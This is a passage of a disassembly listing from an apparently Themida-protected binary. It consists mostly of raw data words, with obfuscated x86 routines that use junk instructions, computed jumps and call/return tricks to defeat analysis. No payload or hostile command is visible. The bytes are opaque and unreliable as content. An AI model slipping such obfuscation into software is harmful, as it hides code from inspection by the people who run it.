53F077AEh, 0D3D32125h, 92B1D8B7h, 0BE8D2A70h dd 3553F077h, 0FDB8D651h, 0BECA55D9h, 0A4A03FC3h, 818ED1E9h dd 596BF404h, 37552A22h, 7D9A4C7Ch, 0CEB0C16h, 14AAA6E5h dd 88CBCF9h, 7788D7E4h, 8092F606h, 463557D0h, 774BF736h dd 876853F0h, 71BC6270h, 4A1A8595h, 0A0143601h, 483BF9EEh dd 55h, 36656764h, 4C494605h, 0D36ECF3Ch, 5053F092h, 7A4AC8ECh dd 0F092063Bh, 3B523D53h, 192875E0h, 9A53F092h, 4E9C7CB6h dd 6885948Ch, 1, 0CC666744h, 0ACDCC0BDh, 0C3FBB2D3h, 0E7178EBCh dd 0EB5828A3h, 69444ED4h, 2148171Dh, 68ACE1E2h, 5ADECDFFh dd 35686798h, 54497A05h, 2E45F224h, 72E65F3h, 6CB93D1Bh dd 181A91B3h, 0C5494443h, 4575285Ah, 0F3A7BD6h, 8453F071h dd 0B2DD7280h, 0EC8CC4F7h, 0BE8D2AEBh, 3553F0AEh, 0E146DF51h dd 0C897171Dh, 0A9B6C6B7h, 86B5F298h, 1D53F01Dh, 62E51539h dd 222D5CB3h, 0E7664367h, 19AC4290h, 622A8595h, 86000000h dd 5356867h, 3A524F7Ah, 0B5F26D1Eh, 53F09286h, 14FB391Dh dd 0C2BFCEFDh, 1E93B2C9h, 0C4C35C14h, 0A0ABB2C9h, 0DAD133E5h dd 0A2DCE5FAh, 0FD0B5450h, 2C2B7686h, 7F77B5C5h, 51678595h dd 4D000000h, 5356867h, 3B534E7Ah, 0F5441C0Fh, 732E5D3Eh dd 2A29FF5Bh, 0A837FD1Fh, 75030241h, 0F1355954h, 37666723h dd 92A4A607h, 0F69953F0h, 8C8D539Fh, 92E98594h, 85013974h dd 12FC8Fh, 16810000h, 0F66BA89h, 0B6A739ACh, 0AC1C9F59h dd 9B9D97BBh, 0DDD8F48Bh, 34EB29ADh, 136C9C19h, 4C3F41F1h dd 58B71028h, 0BAF71231h, 0D2CFFA81h, 1CD45EBAh, 80B3FC6Fh dd 353F092h, 20C1F53Fh, 0B8862754h, 0B949DC62h, 0A8DAA5D5h dd 0CA6BC6F5h, 55E49D7Fh, 0BB3262F4h, 6A1F3B19h, 0F7AAD946h dd 1B143C7h, 12296466h, 0DBEB7042h, 0BECD3F97h, 2B4FCBC3h dd 1F6EDDE9h, 2283B8F3h, 55E48417h, 6B6AA8ACh, 55E484D6h dd 0A2DAD7F2h, 0DBF3AEDDh, 847CCF68h, 93F755E4h, 0DC668D6Ch dd 0B9C82F68h, 91E71487h, 6C8D8F24h, 0BD75BF47h, 5E6D2022h dd 738B020Fh, 0DEA11D17h, 2FD9F1ACh, 487A89E0h, 0A3BAD155h dd 7BDFEFA6h, 2B0BD1B9h, 48AB8BA9h, 1000001h, 0D8D5F48Bh dd 0F583625Ah, 90D959C6h, 361A49DCh, 49444605h, 6264FBCBh dd 4678E72Bh, 9054E740h, 6BEF55E4h, 16283747h, 52DE7995h dd 35599F80h, 70F14E06h, 7F21BE54h, 597609B5h, 5A5FEA4Bh dd 70D455E4h, 25233C4Ch, 5D3A5E6Eh, 7D9AEC36h, 0FA81B16h dd 55E45A3Ch, 8A41D3B7h, 8A010578h, 5AA39E1Fh, 5C2055E4h dd 54E40AD6h, 22328BA9h, 9293C82h, 0A95AD86Eh, 38h, 1F658007h dd 929043ECh, 5C14D3F0h, 73A56AB6h, 1868AA5Fh, 96A50434h dd 81D3F026h, 9A6FB7DEh, 94B8F315h, 266BC667h, 64E853F0h dd 994AA0h, 2590000h, 9C868C01h, 0E01B6180h, 0DBE0FF75h dd 0A1CCF645h, 8CA06253h, 4F1E49DCh, 0D93D4D40h, 132B2F5Bh dd 0BF433A4Ch, 5F6F1E20h, 0E47D6EDEh, 4A434055h, 631E2D32h dd 0F71EBD6Bh, 59B0DF33h, 5665182Ah, 8D87F617h, 95B7B6C5h dd 49982CE6h, 0CE9D0803h, 4CC8C0BDh, 0D585D7C6h, 0FA5E4FC0h dd 0B9E651C2h, 5FC1D48Ah, 0EC1A0509h, 9AAC63B1h, 8D6CEBE3h dd 5B21C066h, 7C558720h, 9BE945E5h, 0F57D3D58h, 0AADE5413h dd 0D0137954h, 0BCA091F7h, 0BB06F98Fh, 0FAD2A333h, 80BA7838h dd 99E01B61h, 9A1B306Bh, 53F092AFh, 0D1D22024h, 0D43A0454h dd 4279DD49h, 0A37F0832h, 0F73D6FDEh, 0E796A8B7h, 397495D4h dd 0CB8F8501h, 5B732A5Ch, 0D8CA46DAh, 5DB463DFh, 9D611C2Eh dd 7D8D0002h, 91A9E4E2h, 91B0C736h, 83F83C6Fh, 64C1CFFCh dd 2FB722D5h, 0B6C6EA6Eh, 0F90BC052h, 22390895h, 0D6BA2FB7h dd 8889AB2h, 9F000000h, 49CBC2C0h, 67A68CC7h, 7B043467h dd 253A5249h, 15E6E29h, 0EE718904h, 0D5AAA2DFh, 0BCC3FBB6h dd 98E7178Eh, 4718306Dh, 1F275746h, 2BBB68h, 241C8900h dd 18CE68h, 242C8900h, 81E78957h, 4C7h, 4EF8100h, 87000000h dd 895C243Ch, 6857241Ch, 767936A2h, 83243C8Bh, 0F78104C4h dd 706561DBh, 545FFD89h, 83241C8Bh, 895104C4h, 84B89E9h dd 83240C8Bh, 1C8B04C4h, 0E1895124h, 4C181h, 0C1810000h dd 4, 5C240C87h, 5D2434FFh, 4C481h, 3DE90000h, 0A8FFF824h dd 0BB1C7CA2h ; --------------------------------------------------------------------------- pop esi loc_603845: ; CODE XREF: Themida_:00603310j mov eax, 61C5C30h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 5078h dd 0DE7F00E6h, 0EDBB3A65h, 19937469h, 0DECC2508h, 819C649Eh dd 0D75A6F1Ah, 0E4E36565h, 20E9279Bh, 0DD000000h, 7D84BDh dd 6 dup(0) dd 0E9000000h, 5DCh, 0EC306B9Bh, 0D75B5273h, 0BC403D48h dd 0AA6E2523h, 8F930E3Dh, 6B9A280Ch, 5875F236h, 424ED95Dh dd 2224C347h, 77CAA76Bh, 0ECCE1B36h, 0B17B9855h, 0BECD6567h dd 0E58A531h, 1337EEEEh, 8180DFEFh, 3F69FF0Ch, 0FD809441h dd 3605A2D9h, 4D53F0B5h, 108F4BC9h, 4A4344EEh, 9AB2D632h dd 7D305229h, 0B7E618B7h, 0D6C7F887h, 0F3AED9A6h, 0F88384DBh dd 0D9A88289h, 56668A37h, 0E42E4532h, 1405700h, 0E07F8CFFh dd 0AC64AEDFh, 989C1733h, 5873030Fh, 7E01395Dh, 0A3245451h dd 0F9B4D1A8h, 20CF45C1h, 0E18EBAC9h, 4912F831h, 0B1CAEE51h dd 0E86AD946h, 65E953F0h, 4A7CEBAFh, 40FA3B53h, 7D53F0E8h dd 0D9A07B92h, 5F23F1ACh, 85950691h, 8F2Dh, 202B3200h dd 23F15565h, 9F188B39h, 53F092ACh, 3AD12327h, 25606E08h dd 5876B115h, 85A92D5Dh, 0AAB0675h, 53F0923Fh, 5342D0B4h dd 53F092EEh, 366EE6D5h, 0BB879D70h, 48AF4CC6h, 287A96D5h dd 0F007BC8Fh, 2F533753h, 5B6CBB1Fh, 64AE2A22h, 95215684h dd 16085h, 674C0000h, 0D2B7C566h, 0CAEF9194h, 0B8C996A6h dd 9CAAB5C5h, 0C2ADE9E1h, 980570ABh, 53F027A9h, 0F0ABDD2Ah dd 788946CCh, 0E27EF605h, 1911418Ch, 198632C0h, 0A270B4E7h dd 5356867h, 2754497Ah, 29851851h, 7AB835E9h, 187F9C4Ah dd 63A7DAE9h, 0B3CBC2C4h, 3816A1ACh, 8F9D9BE8h, 69611C37h dd 95A5C9EDh, 54A6CD08h, 8594EB96h, 8400h, 6867AC00h, 3B960535h dd 0F0924FFAh, 12B2C453h, 0A9E8B9F0h, 4E1D173Bh, 29364643h dd 1669611Ch, 0CB8FBFFAh, 0D93D056Ch, 0D9E8177Eh, 0B82B60A4h dd 0F010CC7Fh, 31C34753h, 6366B9Ah, 38504B79h, 33AEA6E5h dd 7DF912A3h, 378864CCh, 8BAF4278h, 908BE289h, 32C0BBC9h dd 94A590AEh, 5A0E85h, 45130000h, 3C7CF2CFh, 3D27ED58h dd 5356867h, 3B534E7Ah, 9AA9C00Fh, 4F05366Bh, 0A0C8F47Bh dd 47F301E6h, 3766678Dh, 19FC4C04h, 6427BD5Fh, 0A39F1EAEh dd 9053F0E2h, 0CF8598FFh, 0F43B896Ah, 39C153F7h, 85951AF3h dd 0C40C3543h, 66D1279Dh, 6D3ACh, 19600000h, 0FE60B2EDh dd 0DCD9F48Bh, 138EB956h, 0F13168F8h, 0F4047789h, 0D529E90h dd 1C2F8883h, 9753F0C6h, 3A4561B3h, 0E2659508h, 0A2ADDC33h dd 7395D4E7h, 0A5C9C4C3h, 26564B7Ah, 0E0A050A2h, 39407B01h dd 0EF79910Ch, 0A22FFD86h, 0C74D715Fh, 0D5F289E4h, 0EE24A0D8h dd 0DCD4AFEFh, 0B940749h, 55E45738h, 255DD7BBh, 34562921h dd 87C6B579h, 62E61685h, 577DCC69h, 92F655E4h, 0C2B9CB80h dd 62D15EC9h, 0E155E457h, 0A417979Dh, 25EFAAA5h, 0E45797A8h dd 187F9855h, 60A4D7E9h, 0A5D6C5C7h, 0D0E8A5A6h, 710EBE74h dd 0F6A5A74Fh, 2E5E42C6h, 15345BF8h, 0D874B8F3h, 8BA95212h dd 166ACh, 0F48B0800h, 2BAFDFD6h, 0B234D5E9h, 0CBFDFCAEh dd 5D6E9287h, 0DC6852D0h, 9FAF9349h, 0BCCFBEC0h, 0F11EA0ADh dd 1C7890B4h, 848E0503h, 7A3153CCh, 620B3D42h, 22E26F4Bh dd 0D2C5090Fh, 3EFCF9EEh, 10C6F61Ah, 4B7D8CE3h, 0FEE299ABh dd 83A413Ah, 2A225F6Eh, 16728AAEh, 91AE7C1Ch, 5DC88BA8h dd 5D000000h, 1E23B507h, 46753C2Ch, 0E3906AD9h, 0AF65E955h dd 1F6580A5h, 929043ECh, 5514D3F0h, 0C7437B36h, 9BAA354Dh dd 6BCAC2E6h, 0D3F092D8h, 96B5B4F7h, 5467E31Bh, 0F09278CBh dd 9D97FBD3h, 7A8F97FEh, 0E1B0FD0Eh, 6253F092h, 719EED1Eh dd 4681EFC6h, 85A937F8h, 0A811CB8Fh, 9F000000h, 0E01B6180h dd 3FA59490h, 0E23004E1h, 47A264C1h, 0C5B49DCh, 6B608401h dd 8DBDF814h, 0A4BB0B09h, 0B827EBA2h, 89E41786h, 0E4A71D2Ch dd 60B29655h, 0A65BE544h, 275055E4h, 1C8FB1D0h, 3A7390EFh dd 0C48C8602h, 189AA8B7h, 3F9BB3EAh, 87FE0C1Bh, 27A8398Dh dd 0C3477726h, 0F431ACDFh, 55E4A445h, 0FB87ADEh, 0C009C6AEh dd 0EF1F634Fh, 0A4DFED7Ch, 4B862794h, 0C85FC001h, 3DD22044h dd 265D6B0Bh, 0AE8D0A02h, 7395D447h, 23C2FA38h, 0BDCB2655h dd 0C46A6741h, 2EAF6542h, 45E49646h, 0E9A4A5A4h, 4BBF75D1h dd 80F143C7h, 47E01B61h, 49D43FA1h, 3605A21Dh, 4D55ECCFh dd 0A93F4BC9h, 0F23B221Eh, 0F60529E0h, 5B2F1A9Bh, 0A0A455ECh dd 0FB0D5252h, 0E1E37C80h, 481392AAh, 20D84574h, 3E6F9022h dd 56668A0Eh, 7585F809h, 0AAA2DFEAh, 56BDDA2Eh, 688F68CCh dd 0B0742759h, 0C8984DBh, 7BB9F413h, 0D3EBA2A4h, 0F7077E8Ch dd 94D35C68h, 0AA19B17Bh, 7B043458h, 0CA39514Ch, 45EFDE6Dh dd 0CEF155D2h, 0BBF0086Fh, 27A38ED2h, 4CABCCF0h, 0A9E4E625h dd 0D2C0CB92h, 45DBE655h, 0F5197DD2h, 79007B3Fh, 0E299AB4Bh dd 324A6EEAh, 7D8F5CD6h, 128DFE0Eh, 45DBA695h, 0DB593DD2h dd 349h, 0A68CE700h, 4346767h, 3A52497Bh, 5E6E2925h, 71890401h dd 0AAA2DFEEh, 0C3FBB6D5h, 0E7178EBCh, 18306D98h, 27574647h dd 4EC831Fh, 50240489h, 405E089h, 83000000h, 48704E8h dd 2C895C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx mov ebp, 79DB4C78h and ebp, 3A4A454Ch inc ebp shr ebp, 6 add ebp, 66A60417h push edx mov edx, 9E952FD4h add ebp, edx pop edx push esp mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ebp xor dword ptr [esp], 30EA4A33h pop dword ptr [edx+8] xor dword ptr [edx+8], 30EA4A33h push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop ebp add esp, 4 jmp loc_585C7C ; --------------------------------------------------------------------------- mov dl, 0B1h jo short loc_603E70 fsubr dword ptr [ebp+4C1A1CCDh] loc_603E70: ; CODE XREF: Themida_:00603E68j sub esp, [esi-4Ch] lahf mov eax, 61C624Dh add eax, ebp jmp eax ; --------------------------------------------------------------------------- add ebp, ds:82E00B99h inc ebp cmp edx, ebp or al, 2 xor edx, [esp+ecx+25505B72h] push 84FED76Bh jo short loc_603EF7 aas pop esi cmp bh, ah inc eax enter 0FFFF8D6Fh, 8Dh shl byte ptr [ebx+1Ch], cl push es adc bx, 8611h mov [ebp+6142B69h], ecx push 0 push ebx call sub_603EB9 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_603EB9 proc near ; CODE XREF: Themida_:00603EB1p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_603EB9 endp ; --------------------------------------------------------------------------- or ecx, [ebx+14254D95h] push es mov dword ptr [ebp+6141055h], 5EA8h push 0 push edx call sub_603EE5 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_603EE5 proc near ; CODE XREF: Themida_:00603EDDp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_603EE5 endp ; --------------------------------------------------------------------------- db 54h, 0Fh ; --------------------------------------------------------------------------- loc_603EF7: ; CODE XREF: Themida_:00603E94j mov al, 3Fh mov dl, dl mov edi, 6DC24648h ja loc_603F0C mov eax, [ebp+614074Dh] loc_603F0C: ; CODE XREF: Themida_:00603F00j mov dword ptr [ebp+614013Dh], 0 movsx ebx, ax push dword ptr [ebp+6140ECDh] push 0 push ebp call sub_603F2A and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_603F2A proc near ; CODE XREF: Themida_:00603F22p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_603F2A endp ; --------------------------------------------------------------------------- dw 0FF6Ch dd 140BD995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 5F424665h, 50476110h, 6AD38B66h dd 7195FF00h, 8B061429h, 9B1DEBC0h, 3BD7AAE6h, 6B7FA85Ah dd 199D1D10h, 76AE3916h, 0A19832CBh, 0B9150920h, 1FEB461Ch dd 0AE8h, 8F20F700h, 26DD29FDh, 89B1E03Fh, 143085B5h, 85895906h dd 6142C69h, 71E0C181h, 0B5290000h, 6140E91h, 270C11BBh dd 0CDEB8165h, 0E86526EFh, 0Ah, 3F01FF07h, 7F151F15h, 8B0FCF7Eh dd 0 ; --------------------------------------------------------------------------- pop edx loc_603FD9: ; CODE XREF: Themida_:00604055j push dword ptr [ecx] mov esi, [ebp+61433A9h] pop edi mov edx, ecx sub edi, 0A4E4D6Bh or dh, 0F0h sub edi, 63A0BA20h sub ax, 0A4D9h xor edi, 149DEA73h stc push edi mov ah, 2 pop dword ptr [ecx] mov [ebp+614096Dh], ebx sub ecx, 3C620AA1h and dl, 89h add ecx, 3C620A9Dh mov eax, [ebp+61401E9h] sub ebx, 1 jnz loc_60404F jmp loc_60403C ; --------------------------------------------------------------------------- dd 0BF39391Bh, 0AFF3F9ABh, 0F7528C9Ah ; --------------------------------------------------------------------------- loc_60403C: ; CODE XREF: Themida_:0060402Bj jmp loc_604069 ; --------------------------------------------------------------------------- db 13h, 64h, 15h dd 0CE4A5836h, 0E5FA750Dh ; --------------------------------------------------------------------------- fadd qword ptr [ecx] loc_60404F: ; CODE XREF: Themida_:00604025j and esi, 245B0CA3h jmp loc_603FD9 ; --------------------------------------------------------------------------- dw 5D12h dd 13C2E4F0h, 9DDBC597h, 7CD353B7h ; --------------------------------------------------------------------------- pop edi loc_604069: ; CODE XREF: Themida_:loc_60403Cj jmp short loc_60407B ; --------------------------------------------------------------------------- align 4 dd 3 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_60407B: ; CODE XREF: Themida_:loc_604069j mov eax, eax xor edx, [ebp+61412F9h] cmp dword ptr [ebp+61410F1h], 0 jnz short loc_604095 cmp dword ptr [ebp+6140E25h], 0 jz short loc_6040AE loc_604095: ; CODE XREF: Themida_:0060408Aj push eax push ebx mov eax, eax mov eax, 42Dh mov [ebp+6141819h], eax lea ebx, [ebp+616A752h] call ebx ; _iob pop ebx pop eax loc_6040AE: ; CODE XREF: Themida_:00604093j cmp dword ptr [ebp+6140E25h], 0 jz short loc_6040CE push eax push ebx mov eax, 42Dh mov [ebp+6141819h], eax lea ebx, [ebp+616A441h] call ebx ; _iob pop ebx pop eax loc_6040CE: ; CODE XREF: Themida_:006040B5j push 0 push esi call sub_6040D9 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_6040D9 proc near ; CODE XREF: Themida_:006040D1p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_6040D9 endp ; --------------------------------------------------------------------------- push edi mov dh, 21h push 0 push edi call sub_6040F7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_6040F7 proc near ; CODE XREF: Themida_:006040EFp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_6040F7 endp ; --------------------------------------------------------------------------- db 20h dd 780F8C6Dh, 9BF55D09h, 0FC08BC5h, 68Ch, 41958B00h, 29061423h dd 140E2985h, 0B98D8B06h, 8B061401h, 141C4DB5h, 0F98306h dd 8B840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 13A84EC3h, 13A289B5h, 4AB21177h dd 8B64D08Ah, 2C3Dh, 4800F00h, 60000000h, 0B616160h, 4A840FFFh dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 7353C353h, 0EF35AB9Bh, 27BAD7A5h dd 8B6C3B6Fh, 0BE93Fh, 41F60000h, 0B2298879h, 221741ECh dd 8BC03292h, 141689B5h, 29AAF306h, 142675B5h, 41493506h dd 8D315350h, 6141C35h, 84985C6h, 6A470614h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 73C9C350h, 1495BB29h, 22868C6h, 8B66D4B3h, 240481F2h dd 8238604h, 5A07D9BAh, 65B5FF61h, 6A06142Ch, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0FA03C356h, 0D03E0E63h, 0B70FB200h, 0FE858DF2h, 8B061778h dd 1423FD95h, 89D0FF06h, 1423FDB5h, 23575106h, 140A69B5h dd 895A5E06h, 14103985h, 0DE816606h, 85C6C65Bh, 6140849h dd 2251BE53h, 0D368217Dh, 662ACF56h, 481F28Bh, 0C9142924h dd 55006A5Dh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 0FF94A59Ah, 142C65B5h, 0C1B52B06h, 8D06141Ch dd 1778FE85h, 4DB52906h, 0FF06141Ch, 53006AD0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0D858D21h dd 0F061734h, 8589D3B7h, 6140801h, 0FB0CBE66h, 0FF6A206Ah dd 80195FFh, 49350614h, 0C7535041h, 142FE585h, 106h, 0BD85C700h dd 6140Fh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0FFA1C353h, 4984E23Bh, 9528E5Ah dd 140A7D85h, 56505A06h, 1FA5958Bh, 5A5A0614h, 781858Bh dd 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0AD8A10C3h, 0D9B563B7h, 2DBE6381h, 6640D0DEh dd 0A1B9F281h, 0A364h, 0BD830000h, 6140CC9h, 19840F00h dd 8B000000h, 1424C995h, 51858B06h, 81061425h, 0DD4BC9E6h dd 66E08B35h, 0B987D681h, 0D19BD83h, 0F000614h, 37685h dd 218D3100h, 0C606140Eh, 14084985h, 6A5606h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0E63183C3h dd 197D7190h, 60C6F436h, 0CF19D89h, 0EB810614h, 252D687Ch dd 0D8026861h, 0E960C989h, 10h, 0C66D62C3h, 0D09E75C9h dd 6EA06E20h, 0E5475C20h, 61D88B66h, 0DD243481h, 89604CE8h dd 1430398Dh, 49B58B06h, 0FF06140Ch, 142C65B5h, 9B58906h dd 8D061420h, 1778FE85h, 0FD0FF06h, 198Ah, 14E900h, 0F06B0000h dd 49A834A2h, 8344C586h, 0D0956F7Ch, 0EC316951h, 5E89FCEh dd 0BB000000h, 4FA64F72h, 905AF38Ah, 8A0F52h, 5E000000h dd 0FEABE50h, 6A907B50h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 0AFA8C350h, 57B1A539h dd 1535B58Bh, 8D5E0614h, 1426418Dh, 0E991FC06h, 14h, 53BA7BCFh dd 1520FD24h, 79899A9Ah, 99358500h, 0DE69B4A8h, 0B2525050h dd 0E9310F85h, 0Fh, 7684D123h, 0A21901D1h, 42F14D03h, 5AEE9D90h dd 6A9158h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 46A2DC3h, 30F18D89h, 0B9680614h, 0E92F5C2Ah dd 6, 9DAEEE08h, 3481802Ch, 5C3AB924h, 58C0F2Fh, 0BA000000h dd 7843F735h, 23B5B5FFh, 9D010614h, 6140D1Dh, 6AD0FFh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 9ED13DC3h, 80972854h, 5160C942h, 8F0Fh, 895A0000h, 1406B195h dd 0BD8B6106h, 61423B5h, 8B3C7F03h, 141235B5h, 0C5952906h dd 81061402h, 0F8C7h, 7E900h, 64290000h, 0DC8BEFFBh, 2447C772h dd 60000020h, 48B0Fh, 0BA660000h, 0BD836610h, 61C64CFh dd 15840F00h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 0DF07C353h, 0C783021Dh dd 50006A28h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 27687332h, 0EE5FE02Dh, 0FD08B1Bh, 7C7F2BFh dd 64696A2Eh, 2E198D89h, 47C70614h, 61746104h, 8D0F00h dd 8B000000h, 1C64D785h, 7D850906h, 89061412h, 0BF600C47h dd 3C4C4911h, 117D9D89h, 8B610614h, 1C64DB85h, 0F28B6606h dd 25C5958Bh, 47890614h, 0C783F508h, 9E928h, 68770000h dd 7C3DD53Bh, 0C73A2881h, 6F632E07h, 0F1958B6Eh, 0C7061403h dd 69660447h, 8BFC0067h, 1C64D385h, 0CE906h, 7D0F0000h dd 2E79BF97h, 2062FC87h, 47891CC0h, 0E1952B0Ch, 8B06141Bh dd 1C64CF85h, 895A5006h, 6A0847h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 2CF424C3h, 1C18B909h dd 8B66F077h, 6E9D0h, 0E2190000h, 18447C2Ah, 50006A58h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0BF0FCBFEh, 198D8DD6h, 50061430h, 8B240C89h, 1410EDB5h dd 41B5FF06h, 81061426h, 18CDF2C2h, 1B066871h, 8DBA3737h dd 8177F08Bh, 0B062434h, 95893737h, 61420D5h, 23B5B5FFh dd 0B70F0614h, 699531D1h, 0FF061400h, 29B58BD0h, 0B806140Ch dd 0 ; --------------------------------------------------------------------------- mov [ebp+61416EDh], edx sub [ebp+6142A1Dh], ecx or eax, eax jz loc_604780 push ebx mov edx, [ebp+6141BF5h] pop esi jl loc_60474C mov [ebp+6140051h], edi loc_60474C: ; CODE XREF: Themida_:00604740j push dword ptr [ebp+61407A5h] mov edx, [ebp+6141ECDh] call dword ptr [ebp+6140BD9h] push 0 push eax call sub_604769 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_604769 proc near ; CODE XREF: Themida_:00604761p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_604769 endp ; --------------------------------------------------------------------------- db 26h, 99h, 7Bh ; --------------------------------------------------------------------------- sbb al, 88h xchg eax, edx stc loc_604780: ; CODE XREF: Themida_:00604732j mov eax, eax add esi, 88F2786h cmp dword ptr [ebp+61410F1h], 0 jnz short loc_60479A cmp dword ptr [ebp+6140E25h], 0 jz short loc_6047B3 loc_60479A: ; CODE XREF: Themida_:0060478Fj push eax push ebx mov eax, eax mov eax, 42Dh mov [ebp+61424F1h], eax lea ebx, [ebp+616A7B9h] call ebx ; _iob pop ebx pop eax loc_6047B3: ; CODE XREF: Themida_:00604798j cmp dword ptr [ebp+6140E25h], 0 jz short loc_6047D3 push eax push ebx mov eax, 42Dh mov [ebp+61424F1h], eax lea ebx, [ebp+616A45Ah] call ebx ; _iob pop ebx pop eax loc_6047D3: ; CODE XREF: Themida_:006047BAj sbb dx, 4E3Ah mov edx, ecx mov eax, eax mov si, 6EAFh mov eax, eax lea ecx, [ebp+61C6D24h] mov [ebp+6143165h], eax mov [ebp+6142B69h], ecx push 0 push ecx call sub_6047FF and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_6047FF proc near ; CODE XREF: Themida_:006047F7p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_6047FF endp ; --------------------------------------------------------------------------- db 3Fh dd 68F0F6Bh, 29000000h, 140811BDh, 5585C706h, 0D8061410h dd 8900006Fh, 140F1D95h, 3D85C706h, 61401h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 13DBC357h, 0A158503h, 0B5890614h, 6142681h dd 7433E3BFh, 11B5FF2Fh, 6A06141Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 3393C355h dd 95FFFC62h, 6140BD9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0EBC35040h, 37DB81B2h, 8B6A45F1h, 141DBD9Dh dd 0FF006A06h, 14297195h, 0EBC08B06h, 9736FA3Eh, 48DB8A0Eh dd 0F1FCCCF3h, 0FE55FDE3h, 0B41A749Bh, 6C5C5793h, 37FF4D79h dd 0FE1A8674h, 7AB4E3F2h, 0A312185Fh, 2EBAFC7Fh, 880E05C2h dd 3D2F03A4h, 5DAC87DEh, 718E4E7Ah, 8DEA4293h, 1C6E408Dh dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 0EF868306h, 0FC003A2Ch, 89D78B66h, 142B698Dh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 6781F523h, 96ECB945h, 1D9529C4h, 0C706142Ch dd 14105585h, 669006h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 0BBFB2023h, 85C7D88Bh dd 614013Dh, 0 ; --------------------------------------------------------------------------- mov eax, [ebp+6140DD9h] push dword ptr [ebp+6140499h] sub si, 22EAh call dword ptr [ebp+6140BD9h] push 0 push edx call sub_6049B6 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_6049B6 proc near ; CODE XREF: Themida_:006049AEp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_6049B6 endp ; --------------------------------------------------------------------------- xor cl, [ebx-227ADC4Fh] or [esi+eax], dl mov [ebp+6140261h], ebx push 0 call dword ptr [ebp+6142971h] mov eax, eax jmp short loc_604A5B ; --------------------------------------------------------------------------- db 1Ch, 0C4h, 0EAh dd 86CB5AF4h, 0D2BC7067h, 0E794D2B5h, 5B5E47EFh, 0DF58D10Fh dd 163113E4h, 5437DFE1h, 59DEF793h, 0BC6D50AAh, 2185E439h dd 532D40B9h, 0F07BFDC1h, 67000B12h, 0D614A51Ah, 6DE194C4h dd 814EF783h, 56F6D50Ah, 32DC4BF7h, 0B3D0C713h, 0DB1E4C7Fh dd 9582EFBCh, 62774E95h, 95B10D9h, 0E3A3A8Eh, 3EC1A277h dd 4A628EA1h, 208B0360h, 0E387BBD3h, 7448463Bh ; --------------------------------------------------------------------------- sal edi, 1 pop esp loc_604A5B: ; CODE XREF: Themida_:006049DFj call sub_604A69 loopne near ptr loc_604AAB+3 mov ebx, ebp js short near ptr loc_604AD7+4 xchg ecx, [ebp+4Dh] ; =============== S U B R O U T I N E ======================================= sub_604A69 proc near ; CODE XREF: Themida_:loc_604A5Bp push edx push edx jz $+6 pop esi pop esi pop edi movsx esi, di add edi, 61CFh mov eax, ecx mov ecx, 0 sub [ebp+6140715h], edi loc_604A8A: 